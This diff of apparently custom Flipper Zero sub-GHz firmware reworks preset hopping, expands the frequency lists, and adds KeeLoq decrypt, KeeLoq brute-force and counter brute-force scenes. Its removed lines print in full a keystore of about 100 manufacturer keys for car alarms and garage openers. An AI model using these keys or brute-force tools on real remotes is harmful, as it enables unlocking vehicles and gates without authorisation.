|
||||
*/
|
||||
void subghz_txrx_hopper_pause(SubGhzTxRx* instance);
|
||||
|
||||
/**
|
||||
* Update modulation (preset) CC1101 in automatic mode (mod hopper)
|
||||
* Cycles through available presets at a fixed dwell time.
|
||||
*
|
||||
* @param instance Pointer to a SubGhzTxRx
|
||||
*/
|
||||
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance);
|
||||
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold);
|
||||
|
||||
/**
|
||||
* Set mod hopper running state
|
||||
*
|
||||
* @param instance Pointer to a SubGhzTxRx
|
||||
* @param running true to enable, false to disable
|
||||
*/
|
||||
void subghz_txrx_mod_hopper_set_running(SubGhzTxRx* instance, bool running);
|
||||
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance);
|
||||
|
||||
/**
|
||||
* Get mod hopper running state
|
||||
*
|
||||
* @param instance Pointer to a SubGhzTxRx
|
||||
* @return true if mod hopping is active
|
||||
*/
|
||||
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance);
|
||||
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state);
|
||||
|
||||
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance);
|
||||
|
||||
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance);
|
||||
|
||||
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index);
|
||||
|
||||
/**
|
||||
* Speaker on
|
||||
|
||||
@@ -19,9 +19,9 @@ struct SubGhzTxRx {
|
||||
bool is_database_loaded;
|
||||
SubGhzHopperState hopper_state;
|
||||
|
||||
uint8_t mod_hopper_idx; // index into setting presets (wraps around)
|
||||
uint8_t mod_hopper_timer; // countdown ticks before advancing modulation
|
||||
bool mod_hopper_running; // is mod hopping active
|
||||
uint8_t preset_hopper_timeout;
|
||||
size_t preset_hopper_idx;
|
||||
SubGhzPresetHopperState preset_hopper_state;
|
||||
|
||||
SubGhzTxRxState txrx_state;
|
||||
SubGhzSpeakerState speaker_state;
|
||||
|
||||
@@ -29,6 +29,14 @@ typedef enum {
|
||||
SubGhzHopperStateRSSITimeOut,
|
||||
} SubGhzHopperState;
|
||||
|
||||
/** SubGhzPresetHopperState state */
|
||||
typedef enum {
|
||||
SubGhzPresetHopperStateOFF,
|
||||
SubGhzPresetHopperStateRunning,
|
||||
SubGhzPresetHopperStatePause,
|
||||
SubGhzPresetHopperStateRSSITimeOut,
|
||||
} SubGhzPresetHopperState;
|
||||
|
||||
/** SubGhzSpeakerState state */
|
||||
typedef enum {
|
||||
SubGhzSpeakerStateDisable,
|
||||
@@ -85,6 +93,7 @@ typedef enum {
|
||||
SubGhzViewIdFrequencyAnalyzer,
|
||||
SubGhzViewIdReadRAW,
|
||||
SubGhzViewIdPsaDecrypt,
|
||||
SubGhzViewIdKeeloqDecrypt,
|
||||
|
||||
} SubGhzViewId;
|
||||
|
||||
|
||||
@@ -1,107 +1,108 @@
|
||||
Filetype: Flipper SubGhz Keystore File
|
||||
Version: 0
|
||||
Encryption: 0
|
||||
0000000000000000:1:Allgate_Simple
|
||||
0000000023304758:6:KGB/Subaru
|
||||
0000000033205748:7:Magic_2
|
||||
00000000C3644917:2:VAG_Custom_Seed
|
||||
0102030410203040:1:IronLogic
|
||||
0123456789ABCDEF:2:Stilmatic
|
||||
0132456789ABCDEF:1:Pandora_Test_Debug_2
|
||||
05AEDAABAA981903:1:Rosh
|
||||
08AEDAABAA981903:1:Dea_Mio
|
||||
1067DC33E7D88A46:0:Leopard
|
||||
12332594A9189478:1:Sheriff
|
||||
1234567812345678:2:NICE_Flor_S
|
||||
1234567890123456:1:Cenmax
|
||||
188B0544A9B1DF14:2:Centurion
|
||||
1961DAC2EB198847:2:Guard_RF-311A
|
||||
1B36977B281597AC:1:Pandora_PRO
|
||||
207DBBE59D386F44:2:Cardin_S449
|
||||
2156EB02D8E9B977:1:Pandora_DEA
|
||||
2255EA01DBEABA76:1:Pandora_GIBIDI
|
||||
2354E900DAEBBB75:1:Pandora_MCODE
|
||||
2453EE07DDECBC72:1:Pandora_Unknown_1
|
||||
2552EF06DCEDBD73:1:Pandora_SUZUKI
|
||||
2587010764070864:1:Harpoon
|
||||
2626991902991902:1:Gibidi
|
||||
2651EC05DFEEBE70:1:Pandora_Unknown_2
|
||||
27193A9B117C0835:11:Jarolift
|
||||
2739451414471820:2:Audii
|
||||
2750ED04DEEFBF71:2:Pandora_NISSAN
|
||||
30317B307D794471:1:KEY
|
||||
314C3865304E3961:1:Novoferm
|
||||
32130221685B9D8C:2:VAG_HELLA_VPM2
|
||||
3519B934A4227995:1:Pandora_SUBARU
|
||||
352BABACA5F4DFE0:1:Pecinin
|
||||
381D7D9A2A17AE99:1:Pandora_M101
|
||||
3E461AB4F76DA19B:2:Merlin
|
||||
4030201004030201:1:IL-100(Smart)
|
||||
4130850A82610A14:1:Pantera_CLK
|
||||
414C455831393830:1:Kingates_Stylo4k
|
||||
4292903083134583:2:Monarch
|
||||
434144494C4C4143:2:Cadillac_GM
|
||||
43485259534C4552:2:Chrysler
|
||||
444145574F4F0000:2:Daewoo
|
||||
4772736565734769:1:Aprimatic
|
||||
484D6C6D73545253:1:NICE_MHOUSE
|
||||
484F4E4441200000:2:Honda
|
||||
4859554E44414920:2:Hyundai_Asia
|
||||
4C6D4D7A55644F76:3:BFT
|
||||
4D41474E64796E65:1:Pantera
|
||||
4D49545355424953:2:Mitsubishi
|
||||
4E495353414E2000:2:Nissan
|
||||
535446524B453030:13:KIAV5
|
||||
53555A554B490000:2:Suzuki
|
||||
53696C7669618C14:5:FAAC_SLH
|
||||
54365CB7676284F9:1:Alligator_S-275
|
||||
544F594F54410000:2:Toyota
|
||||
54524D534543494E:1:NICE_Smilo
|
||||
5504045708301203:1:SL_A6-A9/Tomahawk_9010
|
||||
572768229476CAFF:2:Motorline
|
||||
638664A880AA23FC:11:KIAV6A
|
||||
6408076407018725:1:Tomahawk_TZ-9030
|
||||
66B446B980AC752B:1:Cenmax_St-7
|
||||
67732C5056334627:1:Pantera_XS/Jaguar
|
||||
685B9D8C5A130221:2:VAG_HELLA_VPM
|
||||
68732C5056334728:1:APS-1100_APS-2550
|
||||
6912FA557DC2418A:0:Reff
|
||||
6B8E6CA088A22BF4:12:KIAV6B
|
||||
6D69736572657265:2:BFT_Miserere
|
||||
6EB6AE4815C63ED2:9:Beninca_ARC
|
||||
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
|
||||
7BCBEED4376EDCBF:2:Sommer
|
||||
7EAF1E9A392B19B9:1:Pandora_PRO2
|
||||
8455F43584941223:1:DoorHan
|
||||
8607427861394E30:2:EcoStar
|
||||
8765432187654321:2:Sommer_FM_868
|
||||
89146E59537903B7:1:JCM_Tech
|
||||
8A326438B62287F5:0:Faraon
|
||||
8BC9E46704700800:1:Vag
|
||||
96638C36C99C2C9B:1:Came_Space
|
||||
9804655AA5000000:8:Magic_4
|
||||
9BF7F89BF8FE78DA:1:SL_A2-A4
|
||||
9C61FD3A47B8E25C:2:Elmes_Poland
|
||||
9DA08153CF312BA7:1:Normstahl
|
||||
A8F5DFFC8DAA5CDB:10:KIA
|
||||
A9748532B7655297:2:GSN
|
||||
AA38A7A32189B5A1:0:Mutanco_Mutancode
|
||||
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
|
||||
AC35BB2759000000:8:Magic_3
|
||||
AD3C12A17028F11E:1:Partisan_RX
|
||||
B3E5625A8CCD7139:2:Steelmate
|
||||
B51526E8F126D1D7:0:Teco
|
||||
B51A7AAB27351596:0:ZX-730-750-1055
|
||||
BBEE9EDDAAF97ECC:1:Jolly_Motors
|
||||
CEB6AE48B5C63ED2:4:Beninca
|
||||
D5A5E7B2A7C1A0BA:2:Mongoose
|
||||
E5D2C83529C113E6:2:VAG_HELLA_PWM
|
||||
EEF3D4B2626C5578:1:Alligator
|
||||
F1A3E552C8647E55:2:Comunello
|
||||
F250006EF29E030E:2:Vauweh
|
||||
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
|
||||
FAAC05600001FAAC:2:FAAC_RC,XT
|
||||
FAAC05600002FAAC:2:Genius_Bravo
|
||||
FADA12FADA34F0DA:1:Rossi
|
||||
FC4DE22CD5370320:1:DTM_Neo
|
||||
FEDCBA9876543210:2:Came_Tam
|
||||
Encryption: 1
|
||||
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
|
||||
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
|
||||
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
|
||||
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
|
||||
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
|
||||
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
|
||||
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
|
||||
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
|
||||
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
|
||||
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
|
||||
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
|
||||
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
|
||||
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
|
||||
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
|
||||
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
|
||||
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
|
||||
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
|
||||
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
|
||||
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
|
||||
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
|
||||
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
|
||||
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
|
||||
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
|
||||
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
|
||||
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
|
||||
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
|
||||
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
|
||||
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
|
||||
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
|
||||
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
|
||||
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
|
||||
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
|
||||
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
|
||||
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
|
||||
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
|
||||
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
|
||||
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
|
||||
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
|
||||
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
|
||||
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
|
||||
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
|
||||
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
|
||||
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
|
||||
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
|
||||
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
|
||||
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
|
||||
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
|
||||
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
|
||||
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
|
||||
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
|
||||
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
|
||||
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
|
||||
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
|
||||
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
|
||||
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
|
||||
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
|
||||
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
|
||||
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
|
||||
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
|
||||
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
|
||||
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
|
||||
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
|
||||
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
|
||||
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
|
||||
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
|
||||
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
|
||||
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
|
||||
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
|
||||
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
|
||||
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
|
||||
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
|
||||
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
|
||||
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
|
||||
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
|
||||
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
|
||||
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
|
||||
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
|
||||
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
|
||||
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
|
||||
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
|
||||
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
|
||||
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
|
||||
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
|
||||
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
|
||||
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
|
||||
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
|
||||
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
|
||||
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
|
||||
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
|
||||
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
|
||||
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
|
||||
F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
|
||||
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
|
||||
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
|
||||
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
|
||||
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
|
||||
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
|
||||
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
|
||||
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
|
||||
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
|
||||
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
|
||||
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
|
||||
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
|
||||
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
|
||||
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E
|
||||
|
||||
121
applications/main/subghz/resources/subghz/assets/setting_user
Normal file
@@ -0,0 +1,121 @@
|
||||
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
|
||||
Filetype: Flipper SubGhz Setting File
|
||||
Version: 1
|
||||
# Add Standard frequencies included with firmware and place user frequencies after them
|
||||
#Add_standard_frequencies: false
|
||||
|
||||
# Default Frequency: used as default for "Read" and "Read Raw"
|
||||
#Default_frequency: 433920000
|
||||
|
||||
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
|
||||
Frequency: 300000000
|
||||
Frequency: 302757000
|
||||
Frequency: 303000000
|
||||
Frequency: 303875000
|
||||
Frequency: 303900000
|
||||
Frequency: 304250000
|
||||
Frequency: 307000000
|
||||
Frequency: 307500000
|
||||
Frequency: 307800000
|
||||
Frequency: 309000000
|
||||
Frequency: 310000000
|
||||
Frequency: 312000000
|
||||
Frequency: 312100000
|
||||
Frequency: 312200000
|
||||
Frequency: 313000000
|
||||
Frequency: 313850000
|
||||
Frequency: 314000000
|
||||
Frequency: 314350000
|
||||
Frequency: 314980000
|
||||
Frequency: 315000000
|
||||
Frequency: 318000000
|
||||
Frequency: 320000000
|
||||
Frequency: 320150000
|
||||
Frequency: 330000000
|
||||
Frequency: 345000000
|
||||
Frequency: 348000000
|
||||
Frequency: 350000000
|
||||
Frequency: 387000000
|
||||
Frequency: 390000000
|
||||
Frequency: 418000000
|
||||
Frequency: 430000000
|
||||
Frequency: 430500000
|
||||
Frequency: 431000000
|
||||
Frequency: 431500000
|
||||
Frequency: 433075000
|
||||
Frequency: 433220000
|
||||
Frequency: 433420000
|
||||
Frequency: 433657070
|
||||
Frequency: 433880000
|
||||
Frequency: 433889000
|
||||
Frequency: 433900000
|
||||
Frequency: 433910000
|
||||
Frequency: 433920000
|
||||
Frequency: 433930000
|
||||
Frequency: 433940000
|
||||
Frequency: 433950000
|
||||
Frequency: 433960000
|
||||
Frequency: 434075000
|
||||
Frequency: 434176948
|
||||
Frequency: 434190000
|
||||
Frequency: 434390000
|
||||
Frequency: 434420000
|
||||
Frequency: 434620000
|
||||
Frequency: 434775000
|
||||
Frequency: 438900000
|
||||
Frequency: 440175000
|
||||
Frequency: 462750000
|
||||
Frequency: 464000000
|
||||
Frequency: 467750000
|
||||
Frequency: 779000000
|
||||
Frequency: 868350000
|
||||
Frequency: 868400000
|
||||
Frequency: 868460000
|
||||
Frequency: 868800000
|
||||
Frequency: 868950000
|
||||
Frequency: 906400000
|
||||
Frequency: 915000000
|
||||
Frequency: 925000000
|
||||
Frequency: 928000000
|
||||
|
||||
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
|
||||
Hopper_frequency: 315000000
|
||||
Hopper_frequency: 433920000
|
||||
Hopper_frequency: 434420000
|
||||
Hopper_frequency: 868350000
|
||||
|
||||
# Presets used for preset hopping mode (cycles through these modulations)
|
||||
Hopping_Preset: AM650
|
||||
Hopping_Preset: FM476
|
||||
Hopping_Preset: FM95
|
||||
|
||||
# Custom preset
|
||||
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
|
||||
|
||||
Custom_preset_name: OOK_LR
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: OOK_U
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: AM_1
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: FSK_1
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
|
||||
|
||||
Custom_preset_name: F3
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
|
||||
|
||||
Custom_preset_name: FM95
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: FM15k
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0
|
||||
@@ -1,42 +0,0 @@
|
||||
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
|
||||
Filetype: Flipper SubGhz Setting File
|
||||
Version: 1
|
||||
# Add Standard frequencies included with firmware and place user frequencies after them
|
||||
#Add_standard_frequencies: true
|
||||
|
||||
# Default Frequency: used as default for "Read" and "Read Raw"
|
||||
#Default_frequency: 433920000
|
||||
|
||||
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
|
||||
#Frequency: 300000000
|
||||
#Frequency: 310000000
|
||||
#Frequency: 320000000
|
||||
|
||||
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
|
||||
#Hopper_frequency: 300000000
|
||||
#Hopper_frequency: 310000000
|
||||
#Hopper_frequency: 310000000
|
||||
|
||||
# Custom preset
|
||||
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
|
||||
|
||||
#Custom_preset_name: FM95
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
|
||||
#Custom_preset_name: FM15k
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
|
||||
|
||||
#Custom_preset_name: Pagers
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
#Custom_preset_name: AM_1
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
#Custom_preset_name: AM_2
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
|
||||
@@ -30,4 +30,7 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
|
||||
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
|
||||
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
|
||||
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
|
||||
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
|
||||
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
|
||||
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
|
||||
ADD_SCENE(subghz, counter_bf, CounterBf)
|
||||
|
||||
@@ -5,9 +5,10 @@
|
||||
#define TAG "SubGhzCounterBf"
|
||||
|
||||
// How many ticks to wait between transmissions (1 tick ~100ms)
|
||||
#define COUNTER_BF_TX_INTERVAL_TICKS 3
|
||||
#define COUNTER_BF_TX_INTERVAL_TICKS 5
|
||||
|
||||
typedef enum {
|
||||
CounterBfStateWarning,
|
||||
CounterBfStateIdle,
|
||||
CounterBfStateRunning,
|
||||
CounterBfStateStopped,
|
||||
@@ -19,54 +20,97 @@ typedef struct {
|
||||
uint32_t step;
|
||||
CounterBfState state;
|
||||
uint32_t packets_sent;
|
||||
uint32_t tick_wait; // ticks remaining before next TX
|
||||
uint32_t tick_wait;
|
||||
} CounterBfContext;
|
||||
|
||||
#define CounterBfEventStart (0xC0)
|
||||
#define CounterBfEventStop (0xC1)
|
||||
#define CounterBfEventStart (0xC0)
|
||||
#define CounterBfEventStop (0xC1)
|
||||
#define CounterBfEventWarningOk (0xC2)
|
||||
|
||||
